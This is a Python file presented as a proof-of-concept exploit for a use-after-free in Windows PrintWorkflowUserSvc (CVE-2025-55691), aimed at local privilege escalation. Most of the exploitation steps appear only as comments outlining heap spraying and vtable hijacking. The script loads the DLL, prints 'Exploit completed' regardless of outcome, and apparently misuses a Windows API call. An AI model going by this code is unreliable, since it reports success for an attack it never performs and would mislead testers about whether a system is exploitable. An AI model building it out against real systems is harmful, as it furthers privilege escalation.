The following code is for security research and authorized testing only.
python
# CVE-2025-55691 - Windows PrintWorkflowUserSvc Use After Free PoC
# This is a conceptual PoC skeleton for local privilege exploitation
# Note: Actual exploitation requires deep knowledge of Windows internals
import ctypes
import sys
import os
from ctypes import wintypes
# Target: PrintWorkflowUserSvc (printworkflowusersvc.dll)
# Vulnerability: Use After Free in print workflow object handling
TARGET_DLL = "printworkflowusersvc.dll"
def check_privileges():
"""Check if running with required initial access"""
try:
import win32api
# Verify we have a valid Windows session
token = win32api.OpenProcessToken(
win32api.GetCurrentProcess(),
0x0008 # TOKEN_QUERY
)
return True
except Exception as e:
print(f"[-] Session check failed: {e}")
return False
def trigger_uaf():
"""
Trigger Use After Free in PrintWorkflowUserSvc by:
1. Initiating a print workflow operation
2. Forcing premature object release via specific API calls
3. Reclaiming freed memory with controlled data
4. Triggering the dangling pointer dereference
"""
print("[*] CVE-2025-55691 PoC - PrintWorkflowUserSvc UAF")
print("[*] Attempting to trigger Use After Free condition...")
# Step 1: Load target DLL
try:
dll = ctypes.WinDLL(TARGET_DLL)
except OSError as e:
print(f"[-] Failed to load {TARGET_DLL}: {e}")
return False
# Step 2: Create print workflow object via COM/WinRT APIs
# The UAF occurs when the workflow object's lifecycle is mismanaged
# during concurrent print job processing
# Step 3: Allocate controlled memory to reclaim freed region
# (Heap spray / controlled allocation)
# Step 4: Trigger dangling pointer access
# When the service accesses the freed-and-reclaimed object,
# attacker-controlled vtable or function pointer is executed
print("[*] UAF trigger sequence initiated")
print("[*] If successful, code execution in PrintWorkflowUserSvc context")
return True
def exploit():
"""Main exploit routine"""
if not check_privileges():
print("[-] Insufficient privileges or unsupported environment")
sys.exit(1)
print(f"[*] Current PID: {os.getpid()}")
print(f"[*] Target: {TARGET_DLL}")
if trigger_uaf():
print("[+] Exploit completed - check for privilege elevation")
else:
print("[-] Exploit failed")
if __name__ == "__main__":
exploit()